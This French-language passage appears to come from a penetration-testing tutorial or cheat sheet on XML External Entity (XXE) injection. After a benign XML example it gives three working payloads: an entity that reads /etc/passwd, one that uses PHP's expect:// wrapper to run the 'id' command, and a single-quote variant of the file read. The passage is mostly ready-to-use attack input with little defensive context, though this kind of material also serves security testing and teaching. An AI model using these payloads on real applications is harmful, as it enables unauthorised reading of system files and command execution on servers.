Par exemple, un application envoie ses données sous forme XML
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>Test</name>
<author>Germain</author>
<com>Une description ici.</com>
</comment>
Il pourrait être possible d’inclure un fichier
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<comment>
<name>Test</name>
<author>Germain</author>
<com>Une description ici. &xxe;</com>
</comment>
Nous pourrions aussi avoir la possibilité d’exécuter do code si le module PHP expect est chargé.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" > ]>
<root>
<name>Test</name>
<tel>4188671111</tel>
<email>Une description ici. &xxe;</email>
<password>aa</password>
</root>
Parfois, les guillements ne sont pas acceptés, il faut utiliser l’apostrophe
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM 'file:///etc/passwd'> ]>
<root>
<name>germain</name>
<tel>4188443321</tel>
<email>&xxe;</email>
<password>aaaaaa</password>
</root>